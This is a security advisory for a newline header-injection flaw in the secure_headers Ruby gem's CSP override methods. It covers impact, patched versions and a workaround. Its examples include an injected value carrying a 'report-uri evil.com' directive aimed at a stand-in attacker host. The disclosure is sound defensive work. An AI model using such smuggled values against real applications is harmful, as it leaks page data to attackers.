Affected: Twitter secure_headers

In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.

 https://cve.radiocsirt.org/vuln/ghsa-w978-rmpf-qmwg GHSA-w978-rmpf-qmwg — Limited header injection when using dynamic overrides with user input in RubyGems secure_headers 2026-10-06T08:50:47.968705+00:00

Affected: RubyGems: secure_headers

### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ```

would result in

``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ```
